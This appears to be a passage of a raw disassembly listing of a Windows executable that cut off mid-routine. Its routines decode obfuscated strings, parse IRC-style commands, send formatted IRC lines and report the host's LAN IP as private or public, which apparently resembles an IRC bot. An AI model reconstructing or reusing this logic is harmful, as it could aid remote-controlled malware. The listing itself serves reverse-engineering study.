		mov	dword ptr [esi], offset	off_43E038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4118D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_411950:				; CODE XREF: ___:loc_40115Ej
					; ___:004016EAj
		push	esi
		mov	esi, ecx
		call	sub_40101E
		test	byte ptr [esp+8], 1
		jz	short loc_411968
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411968:				; CODE XREF: ___:0041195Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411980	proc near		; CODE XREF: sub_40101Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411980
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E038
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40196A
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411980	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411A00	proc near		; CODE XREF: sub_402054j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411A00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411A00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411AC0	proc near		; CODE XREF: sub_40196Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411AC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411AC0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411B80	proc near		; CODE XREF: sub_4019D3j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	[esp+4+arg_0], 1
		jz	short loc_411B98
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411B98:				; CODE XREF: sub_411B80+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411B80	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411BB0	proc near		; CODE XREF: sub_401A0Aj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411BB0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411BD6
		lea	edi, [esi+11h]
		jmp	short loc_411BD8
; ---------------------------------------------------------------------------


loc_411BD6:				; CODE XREF: sub_411BB0+1Fj
		xor	edi, edi


loc_411BD8:				; CODE XREF: sub_411BB0+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
sub_411BB0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C2C
		lea	ebx, [esi+11h]
		jmp	short loc_411C2E
; ---------------------------------------------------------------------------


loc_411C2C:				; CODE XREF: ___:00411C25j
		xor	ebx, ebx


loc_411C2E:				; CODE XREF: ___:00411C2Aj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C8B
		lea	ebx, [esi+11h]
		jmp	short loc_411C8D
; ---------------------------------------------------------------------------


loc_411C8B:				; CODE XREF: ___:00411C84j
		xor	ebx, ebx


loc_411C8D:				; CODE XREF: ___:00411C89j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017E4
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411CE0
		lea	ebx, [esi+11h]
		jmp	short loc_411CE2
; ---------------------------------------------------------------------------


loc_411CE0:				; CODE XREF: ___:00411CD9j
		xor	ebx, ebx


loc_411CE2:				; CODE XREF: ___:00411CDEj
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017E4
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D35
		lea	ebx, [esi+11h]
		jmp	short loc_411D37
; ---------------------------------------------------------------------------


loc_411D35:				; CODE XREF: ___:00411D2Ej
		xor	ebx, ebx


loc_411D37:				; CODE XREF: ___:00411D33j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D88
		lea	ebx, [esi+11h]
		jmp	short loc_411D8A
; ---------------------------------------------------------------------------


loc_411D88:				; CODE XREF: ___:00411D81j
		xor	ebx, ebx


loc_411D8A:				; CODE XREF: ___:00411D86j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017E4
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411DE1
		lea	ebx, [esi+11h]
		jmp	short loc_411DE3
; ---------------------------------------------------------------------------


loc_411DE1:				; CODE XREF: ___:00411DDAj
		xor	ebx, ebx


loc_411DE3:				; CODE XREF: ___:00411DDFj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017E4
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E3F
		lea	ebx, [esi+11h]
		jmp	short loc_411E41
; ---------------------------------------------------------------------------


loc_411E3F:				; CODE XREF: ___:00411E38j
		xor	ebx, ebx


loc_411E41:				; CODE XREF: ___:00411E3Dj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E9A
		lea	ebx, [esi+11h]
		jmp	short loc_411E9C
; ---------------------------------------------------------------------------


loc_411E9A:				; CODE XREF: ___:00411E93j
		xor	ebx, ebx


loc_411E9C:				; CODE XREF: ___:00411E98j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017E4
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411EF5
		lea	ebx, [esi+11h]
		jmp	short loc_411EF7
; ---------------------------------------------------------------------------


loc_411EF5:				; CODE XREF: ___:00411EEEj
		xor	ebx, ebx


loc_411EF7:				; CODE XREF: ___:00411EF3j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017E4
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412050	proc near		; CODE XREF: sub_401AB9j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412050
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412579
		lea	ecx, [edi+26Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412579
		lea	ecx, [edi+0A1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412152
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		mov	edx, dword_4470B0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_4125A2
; ---------------------------------------------------------------------------


loc_412152:				; CODE XREF: sub_412050+70j
		lea	ecx, [edi+187h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4121C9
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_4125A2
; ---------------------------------------------------------------------------


loc_4121C9:				; CODE XREF: sub_412050+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412284
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018A2
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_4125A2
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_4125A2
; ---------------------------------------------------------------------------


loc_412284:				; CODE XREF: sub_412050+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41232D
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_4470B4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_4125A2
; ---------------------------------------------------------------------------


loc_41232D:				; CODE XREF: sub_412050+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41239B
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017E4
		mov	edx, dword_4470E0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS_0	; "%s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_4125A2
; ---------------------------------------------------------------------------


loc_41239B:				; CODE XREF: sub_412050+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4123FD
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E2E
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017E4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aS_3	; "%s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_4125A2
; ---------------------------------------------------------------------------


loc_4123FD:				; CODE XREF: sub_412050+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41249D
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_4125A2
; ---------------------------------------------------------------------------


loc_41249D:				; CODE XREF: sub_412050+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4125A2
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016AE
		mov	ebx, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_4470E4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSSS	; "%s %s %s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_4125A2
; ---------------------------------------------------------------------------


loc_412579:				; CODE XREF: sub_412050+3Aj
					; sub_412050+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C4E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401537


loc_4125A2:				; CODE XREF: sub_412050+FDj
					; sub_412050+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_412050	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412720	proc near		; CODE XREF: sub_401D39j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_412720
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_401424
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_63125E
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_446F20
		call	sub_4015D7
		push	offset aLan	; "lan:	"
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401A9B
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016BD
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401479
		add	esp, 4
		test	al, al
		jz	short loc_41282B
		push	offset aPrivate	; "[PRIVATE]"
		jmp	short loc_412830
; ---------------------------------------------------------------------------


loc_41282B:				; CODE XREF: sub_412720+102j
		push	offset aPublic	; "[PUBLIC]"


loc_412830:				; CODE XREF: sub_412720+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_412720	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4128E0	proc near		; CODE XREF: sub_401582j

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_41293E
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	ecx, offset word_448C4E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_41293E:				; CODE XREF: sub_4128E0+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_4128E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412970	proc near		; CODE XREF: sub_401E0Bj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_4368D0
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_401582
		add	esp, 2000h
		retn
sub_412970	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4129E0	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4129E0
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_412A17
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_412A17:				; CODE XREF: sub_4129E0+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_401424
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_412A38
		mov	eax, dword_4470B0
		push	eax
		jmp	short loc_412A3F
; ---------------------------------------------------------------------------


loc_412A38:				; CODE XREF: sub_4129E0+4Ej
		mov	ecx, dword_4470B8
		push	ecx


loc_412A3F:				; CODE XREF: sub_4129E0+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015D7
		push	ebx
		lea	ecx, [esp+44h+var_24]
